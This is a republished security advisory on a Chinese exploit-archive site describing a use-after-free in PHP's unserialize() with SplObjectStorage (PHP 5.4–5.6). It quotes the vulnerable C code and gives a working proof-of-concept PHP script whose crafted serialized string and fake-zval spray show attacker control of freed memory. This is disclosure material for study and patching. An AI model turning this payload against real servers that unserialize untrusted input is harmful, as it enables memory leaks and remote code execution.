首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP SplObjectStorage Use-After-Free
来源:http://github.com/chtg 作者:Chen 发布时间:2015-08-10  
#Use After Free Vulnerability in unserialize() with SplObjectStorage

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.30 - Release Date: 2015.8.7

> A use-after-free vulnerability was discovered in unserialize() with SplObjectStorage object's deserialization that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------

```
	if (*p!= 'x' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pcount);
	if (!php_var_unserialize(&pcount, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pcount) != IS_LONG) {
		goto outexcept;
	}

	...

	/* members */
	if (*p!= 'm' || *++p != ':') {
		goto outexcept;
	}
	++p;

	ALLOC_INIT_ZVAL(pmembers);
	if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash
TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) {
		zval_ptr_dtor(&pmembers);
		goto outexcept;
	}

	/* copy members */
	if (!intern->std.properties) {
		rebuild_object_properties(&intern->std);
	}
	zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers),
(copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *));
	zval_ptr_dtor(&pmembers);  <===  free memory

	/* done reading $serialized */
	if (pcount) {
		zval_ptr_dtor(&pcount);  <===  free memory
	}
	PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
	return;
```

The zval_ptr_dtor() leads to &pcount and &pmembers are freed from
memory. However the unserialize() will still allow to use R: or r: to
set references to that already freed memory. It is possible to
use-after-free attack and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:0;m:a:0:{}';
$exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
	$out = "";
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
  [0]=>
  object(SplObjectStorage)#1 (1) {
    ["storage":"SplObjectStorage":private]=>
    array(0) {
    }
  }
  [1]=>
  int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
}
```



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP SPL ArrayObject Use-After-
·PHP SplDoublyLinkedList Use-Af
·Tomabo MP4 Player 3.11.3 SEH B
·Pineapple 2.3.0 Autopwn Script
·Linux/x86 Memory Sinkhole Proo
·Havij Pro - Crash POC
·FileZilla Client 2.2.x SEH Buf
·NeuroServer 0.7.4 Denial Of Se
·MS14-002 Windows NDProxy Privi
·PDF Shaper Buffer Overflow
·Classic FTP 2.36 - CWD Reconne
·Java Secure Socket Extension (
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved